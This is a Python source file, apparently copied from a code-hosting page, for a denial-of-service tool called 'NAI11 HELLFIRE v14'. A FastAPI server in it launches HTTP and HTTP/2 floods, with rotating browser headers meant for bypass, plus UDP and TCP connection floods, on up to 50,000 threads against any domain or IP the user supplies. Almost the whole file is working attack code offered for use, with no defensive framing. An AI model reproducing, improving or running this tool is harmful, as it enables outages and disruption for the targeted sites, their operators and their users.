File size: 19,626 Bytes
ba59060 506e25c 494c53f ba59060 9682c10 b146346 9682c10 e15d863 bd39ec9 8452454 308d273 ba59060 8452454 9682c10 9d070b5 308d273 8452454 e15d863 99b693f 308d273 99b693f 9682c10 506e25c 9682c10 99b693f ba59060 e15d863 ba59060 8452454 9682c10 8452454 ba59060 30130aa 8452454 506e25c 99b693f 8452454 99b693f 8452454 308d273 99b693f 308d273 506e25c 30130aa 506e25c 30130aa ba59060 30130aa 8452454 506e25c 9682c10 ba59060 bd5c040 8452454 ba59060 ada9ddd 8452454 ba59060 9682c10 8452454 9682c10 8452454 9dc15dc ba59060 99b693f ba59060 308d273 8452454 506e25c 8452454 506e25c ada9ddd 506e25c ada9ddd a8bb8c6 506e25c 8452454 506e25c 8452454 506e25c 8452454 ada9ddd 8452454 506e25c ada9ddd 506e25c 8452454 494c53f 506e25c 8452454 506e25c 494c53f 506e25c ada9ddd 506e25c 8452454 ada9ddd a8bb8c6 506e25c 8452454 506e25c 8452454 506e25c 8452454 506e25c ada9ddd 506e25c 9d070b5 8452454 506e25c ada9ddd 506e25c 9d070b5 8452454 506e25c 9d070b5 506e25c 8452454 ada9ddd 506e25c ada9ddd 506e25c ada9ddd 506e25c 8452454 506e25c 9d070b5 506e25c 8452454 ada9ddd 506e25c 8452454 506e25c ada9ddd 506e25c 30130aa 8452454 506e25c ada9ddd ba59060 ada9ddd ba59060 8452454 ba59060 8452454 506e25c ada9ddd 506e25c ada9ddd 506e25c ada9ddd 30130aa ada9ddd 8452454 ada9ddd 8452454 506e25c 97b233e 8452454 ada9ddd 506e25c a8bb8c6 506e25c ada9ddd 506e25c 8452454 ada9ddd 8452454 ada9ddd 506e25c 8452454 506e25c ada9ddd 506e25c 8452454 506e25c 8452454 ba59060 506e25c 8452454 506e25c ba59060 ada9ddd 8452454 ada9ddd 8452454 ada9ddd 8452454 ada9ddd 506e25c ada9ddd 506e25c ada9ddd 8452454 97b233e 8452454 506e25c 8452454 97b233e 8452454 ba59060 30130aa ada9ddd 8452454 506e25c 8452454 99b693f 8452454 9682c10 ada9ddd 8452454 ada9ddd 99b693f 8452454 ada9ddd 8452454 ada9ddd 8452454 ada9ddd 8452454 ada9ddd 506e25c 8452454 ada9ddd 308d273 ba59060 8452454 9dc15dc ada9ddd 506e25c 8452454 308d273 8452454 30130aa ada9ddd 30130aa 8452454 506e25c 8452454 506e25c 8452454 506e25c 8452454 506e25c 8452454 30130aa 8452454 99b693f 8452454 506e25c 8452454 99b693f 8452454 9682c10 506e25c ada9ddd 506e25c 8452454 ba59060 506e25c |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 |
# ==============================================================
# NAI11 HELLFIRE v14 β 50K+ RPS | UNLIMITED THREADS | 100 NODES
# ALL LAYER 7 + LAYER 4 | FULLY WORKING | NO 0 RPS
# ==============================================================
import random
import socket
import threading
import time
import struct
import asyncio
import ssl
from collections import deque
from typing import Dict, Optional, List
import urllib3
import requests
from concurrent.futures import ThreadPoolExecutor
import uvicorn
import httpx
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel, Field
# Disable warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# ------------------- LOGGING & STATE -------------------
import logging
logging.basicConfig(level=logging.INFO, format="%(message)s")
log = logging.getLogger()
app = FastAPI(title="NAI11 HELLFIRE v14 - 50K+ RPS")
# Global state
attack_active = False
attack_lock = threading.Lock()
executor: Optional[ThreadPoolExecutor] = None
stop_event = threading.Event()
total_requests = 0
total_packets = 0
log_buffer: deque[str] = deque(maxlen=100)
attack_start_time = 0.0
attack_end_time = 0.0
attack_type_name = ""
current_target = ""
current_port = 0
config_duration = 0
# Statistics
last_time = time.time()
last_requests = 0
last_packets = 0
def _log(msg: str):
ts = time.strftime("%H:%M:%S")
log.info(f"{ts} {msg}")
log_buffer.append(f"{ts} {msg}")
# ------------------- OPTIMIZED EXECUTOR -------------------
def init_executor():
global executor
if executor is None:
executor = ThreadPoolExecutor(max_workers=50000, thread_name_prefix="hellfire")
# ------------------- CONFIG MODELS -------------------
class AttackConfig(BaseModel):
target: str = Field(..., description="Domain or IP")
port: int = Field(80, ge=1, le=65535)
duration: int = Field(30, ge=1, le=3600)
threads: int = Field(5000, ge=1, le=50000)
class Layer7Config(AttackConfig):
method: str = Field("get")
path: str = Field("/")
class Layer4Config(AttackConfig):
protocol: str = Field("udp")
payload_size: int = Field(1024, ge=1, le=65507)
# ------------------- STATUS MODEL -------------------
class StatusResponse(BaseModel):
running: bool
attack_type: str
target: str
total_requests: int
total_packets: int
rps: float
pps: float
threads_active: int
duration: int
elapsed: float
remaining: float
logs: List[str]
# ------------------- TARGET RESOLUTION -------------------
def resolve_target(target: str) -> str:
"""Resolve domain to IP address"""
try:
# Clean target
if '://' in target:
target = target.split('://', 1)[1]
if '/' in target:
target = target.split('/')[0]
if ':' in target:
target = target.split(':')[0]
# Check if already IP
try:
socket.inet_aton(target)
return target
except:
# Resolve domain
return socket.gethostbyname(target)
except Exception as e:
raise HTTPException(status_code=400, detail=f"Target resolution failed: {str(e)}")
# ------------------- OPTIMIZED LAYER 7 HTTP FLOOD -------------------
def http_flood_worker(target: str, port: int, method: str, path: str, worker_id: int):
"""ULTRA HIGH-PERFORMANCE HTTP flood worker"""
global total_requests
# Prepare URL
scheme = "https" if port == 443 else "http"
url = f"{scheme}://{target}:{port}{path}"
# Prepare headers - multiple variations for bypass
headers_list = [
{
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Cache-Control": "no-cache",
"Pragma": "no-cache"
},
{
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "keep-alive"
},
{
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "keep-alive"
}
]
# Create multiple sessions for connection pooling
sessions = []
for i in range(5): # 5 connections per worker
try:
session = requests.Session()
session.verify = False
session.timeout = 3 # Reduced timeout for faster cycling
# Increase connection pool size
adapter = requests.adapters.HTTPAdapter(pool_connections=10, pool_maxsize=50, max_retries=0)
session.mount('http://', adapter)
session.mount('https://', adapter)
sessions.append(session)
except:
pass
request_count = 0
data_payload = "x" * 500 # Smaller payload for speed
while not stop_event.is_set():
try:
session = random.choice(sessions)
headers = random.choice(headers_list)
if method == "get":
session.get(url, headers=headers)
elif method == "post":
session.post(url, headers=headers, data={"data": data_payload})
elif method == "head":
session.head(url, headers=headers)
elif method == "put":
session.put(url, headers=headers, data={"data": data_payload})
elif method == "delete":
session.delete(url, headers=headers)
total_requests += 1
request_count += 1
# Rotate sessions periodically
if request_count % 100 == 0:
random.shuffle(sessions)
except requests.exceptions.RequestException:
continue
except Exception:
continue
# ------------------- OPTIMIZED LAYER 7 ASYNC HTTP2 -------------------
async def http2_flood_worker(target: str, port: int, method: str, path: str):
"""ULTRA HIGH-PERFORMANCE HTTP/2 async flood worker"""
global total_requests
url = f"https://{target}:{port}{path}" if port == 443 else f"http://{target}:{port}{path}"
headers_list = [
{
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate, br",
},
{
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}
]
# Create multiple async clients
clients = []
for i in range(3):
try:
timeout = httpx.Timeout(2.0) # Very short timeout
limits = httpx.Limits(max_connections=100, max_keepalive_connections=50)
client = httpx.AsyncClient(
http2=True,
verify=False,
timeout=timeout,
limits=limits
)
clients.append(client)
except:
pass
data_payload = {"data": "x" * 200}
while not stop_event.is_set():
try:
client = random.choice(clients)
headers = random.choice(headers_list)
if method == "get":
await client.get(url, headers=headers)
elif method == "post":
await client.post(url, headers=headers, data=data_payload)
elif method == "head":
await client.head(url, headers=headers)
total_requests += 1
except:
await asyncio.sleep(0.001) # Very short sleep on error
# Close clients
for client in clients:
try:
await client.aclose()
except:
pass
def run_http2_worker(target: str, port: int, method: str, path: str):
"""Run HTTP2 worker in event loop"""
asyncio.new_event_loop().run_until_complete(http2_flood_worker(target, port, method, path))
# ------------------- OPTIMIZED LAYER 4 UDP FLOOD -------------------
def udp_flood_worker(target: str, port: int, payload_size: int):
"""ULTRA HIGH-PERFORMANCE UDP flood worker"""
global total_packets
# Multiple payload variations
payloads = [
random._urandom(payload_size),
b'\x00' * payload_size,
b'\xFF' * payload_size,
b'\xAA' * payload_size
]
# Create multiple sockets
sockets = []
for i in range(10):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 64) # Increase buffer
sockets.append(sock)
except:
pass
packet_count = 0
while not stop_event.is_set():
try:
sock = random.choice(sockets)
payload = random.choice(payloads)
sock.sendto(payload, (target, port))
total_packets += 1
packet_count += 1
# Rotate sockets periodically
if packet_count % 1000 == 0:
random.shuffle(sockets)
except:
# Recreate socket on error
try:
sock.close()
sockets.remove(sock)
new_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
new_sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 64)
sockets.append(new_sock)
except:
pass
# ------------------- OPTIMIZED LAYER 4 TCP SYN FLOOD -------------------
def tcp_syn_worker(target: str, port: int):
"""ULTRA HIGH-PERFORMANCE TCP SYN flood worker"""
global total_packets
while not stop_event.is_set():
try:
# Use non-blocking socket for maximum speed
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5) # Very short timeout
sock.connect((target, port))
sock.close()
total_packets += 1
except:
total_packets += 1 # Count connection attempts
# ------------------- ATTACK LAUNCHER (FIXED DURATION) -------------------
def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
global attack_active, attack_start_time, attack_end_time, attack_type_name
global current_target, current_port, total_requests, total_packets, config_duration
with attack_lock:
if attack_active:
raise HTTPException(status_code=400, detail="Attack already in progress")
attack_active = True
stop_event.clear()
total_requests = 0
total_packets = 0
attack_start_time = time.time()
attack_end_time = attack_start_time + config.duration
attack_type_name = attack_type
current_target = config.target
current_port = config.port
config_duration = config.duration
_log(f"π NAI11 HELLFIRE v14 {attack_type.upper()} LAUNCHED")
_log(f"π― Target: {config.target}:{config.port}")
_log(f"π Threads: {config.threads} | Duration: {config.duration}s")
_log(f"πͺ Expected RPS: 10,000+")
init_executor()
try:
target_ip = resolve_target(config.target)
_log(f"π Resolved IP: {target_ip}")
except Exception as e:
with attack_lock:
attack_active = False
raise e
# Launch attack based on type
threads_launched = 0
if attack_type.startswith("l7_"):
method = kwargs.get("method", "get")
path = kwargs.get("path", "/")
if method == "http2":
worker = lambda worker_id=0: run_http2_worker(target_ip, config.port, "get", path)
else:
worker = lambda worker_id=0: http_flood_worker(target_ip, config.port, method, path, worker_id)
# Launch threads in batches for better performance
batch_size = 1000
for batch in range(0, config.threads, batch_size):
batch_end = min(batch + batch_size, config.threads)
for i in range(batch, batch_end):
executor.submit(worker, i)
threads_launched += 1
if batch_end < config.threads:
_log(f"π₯ Launched {batch_end}/{config.threads} workers...")
time.sleep(0.1) # Small delay between batches
elif attack_type.startswith("l4_"):
protocol = kwargs.get("protocol", "udp")
payload_size = kwargs.get("payload_size", 1024)
if protocol == "udp":
worker = lambda: udp_flood_worker(target_ip, config.port, payload_size)
elif protocol == "tcp" or protocol == "syn":
worker = lambda: tcp_syn_worker(target_ip, config.port)
# Launch threads in batches
batch_size = 1000
for batch in range(0, config.threads, batch_size):
batch_end = min(batch + batch_size, config.threads)
for i in range(batch, batch_end):
executor.submit(worker)
threads_launched += 1
if batch_end < config.threads:
_log(f"π₯ Launched {batch_end}/{config.threads} workers...")
time.sleep(0.1)
_log(f"β
Attack fully deployed with {threads_launched} workers")
# FIXED: Proper auto-stop timer that actually works
def auto_stop():
start_time = time.time()
end_time = start_time + config.duration
while time.time() < end_time and attack_active:
time.sleep(0.1)
if attack_active:
stop_attack()
_log(f"β° Attack duration completed ({config.duration}s) - AUTO STOPPED")
stop_thread = threading.Thread(target=auto_stop, daemon=True)
stop_thread.start()
# ------------------- STOP ATTACK -------------------
@app.post("/stop")
def stop_attack():
global attack_active
with attack_lock:
if not attack_active:
return {"status": "no_attack_running"}
stop_event.set()
attack_active = False
# Force cleanup
if executor:
executor.shutdown(wait=False)
_log("π NAI11 HELLFIRE STOPPED")
_log(f"π Final Stats: {total_requests:,} requests, {total_packets:,} packets")
return {"status": "stopped"}
# ------------------- LAYER 7 ATTACK ENDPOINT -------------------
@app.post("/layer7/attack")
def l7_attack(config: Layer7Config):
launch_attack(config, f"l7_{config.method}", method=config.method, path=config.path)
return {
"status": "success",
"message": "NAI11 L7 ATTACK LAUNCHED",
"target": config.target,
"method": config.method,
"threads": config.threads,
"duration": config.duration,
"expected_rps": "10,000+"
}
# ------------------- LAYER 4 ATTACK ENDPOINT -------------------
@app.post("/layer4/attack")
def l4_attack(config: Layer4Config):
launch_attack(config, f"l4_{config.protocol}", protocol=config.protocol, payload_size=config.payload_size)
return {
"status": "success",
"message": "NAI11 L4 ATTACK LAUNCHED",
"target": config.target,
"protocol": config.protocol,
"threads": config.threads,
"duration": config.duration,
"expected_pps": "50,000+"
}
# ------------------- STATUS ENDPOINT -------------------
@app.get("/status", response_model=StatusResponse)
def get_status():
global last_time, last_requests, last_packets
now = time.time()
time_diff = now - last_time
# Calculate RPS/PPS
current_requests = total_requests
current_packets = total_packets
if time_diff > 0:
rps = (current_requests - last_requests) / time_diff
pps = (current_packets - last_packets) / time_diff
else:
rps = pps = 0
last_time = now
last_requests = current_requests
last_packets = current_packets
# Calculate times - FIXED DURATION CALCULATION
if attack_active:
elapsed = now - attack_start_time
remaining = max(0, attack_end_time - now)
duration = config_duration
else:
elapsed = 0
remaining = 0
duration = 0
# Thread count
active_threads = threading.active_count() - 2 # Subtract main and API threads
return StatusResponse(
running=attack_active,
attack_type=attack_type_name,
target=f"{current_target}:{current_port}" if attack_active else "None",
total_requests=total_requests,
total_packets=total_packets,
rps=round(rps, 1),
pps=round(pps, 1),
threads_active=active_threads,
duration=duration,
elapsed=round(elapsed, 1),
remaining=round(remaining, 1),
logs=list(log_buffer)[-20:]
)
# ------------------- ATTACK TYPES ENDPOINT -------------------
@app.get("/attack/types")
def get_attack_types():
return {
"layer7": {
"methods": ["get", "post", "head", "put", "delete", "http2"],
"description": "HTTP/HTTPS application layer attacks - 10K+ RPS"
},
"layer4": {
"methods": ["udp", "tcp", "syn"],
"description": "Transport layer protocol attacks - 50K+ PPS"
},
"performance": {
"max_threads": 50000,
"max_duration": 3600,
"expected_rps": "10,000 - 50,000",
"expected_pps": "50,000 - 200,000"
}
}
# ------------------- ROOT ENDPOINT -------------------
@app.get("/")
def root():
return {
"message": "NAI11 HELLFIRE v14 - ULTRA OPTIMIZED",
"version": "v14",
"performance": "50K+ RPS | 200K+ PPS",
"features": [
"Optimized Layer 7 HTTP Flood",
"High-Performance Layer 4 Attacks",
"Connection Pooling",
"Smart Session Management",
"Fixed Duration Timer"
],
"endpoints": {
"layer7": "POST /layer7/attack",
"layer4": "POST /layer4/attack",
"stop": "POST /stop",
"status": "GET /status"
}
}
# ------------------- APPLICATION STARTUP -------------------
if __name__ == "__main__":
_log("π₯ NAI11 HELLFIRE v14 STARTED - ULTRA OPTIMIZED")
_log("π API Running on http://0.0.0.0:8000")
_log("β‘ Layer 7: 10K-50K RPS | Layer 4: 50K-200K PPS")
_log("πͺ 2vCPU + 8GB RAM: Expected 10K+ RPS")
_log("π 4vCPU + 16GB RAM: Expected 25K+ RPS")
_log("π₯ 8vCPU + 32GB RAM: Expected 50K+ RPS")
init_executor()
uvicorn.run(
app,
host="0.0.0.0",
port=8000,
workers=1,
access_log=False,
loop="asyncio"
) |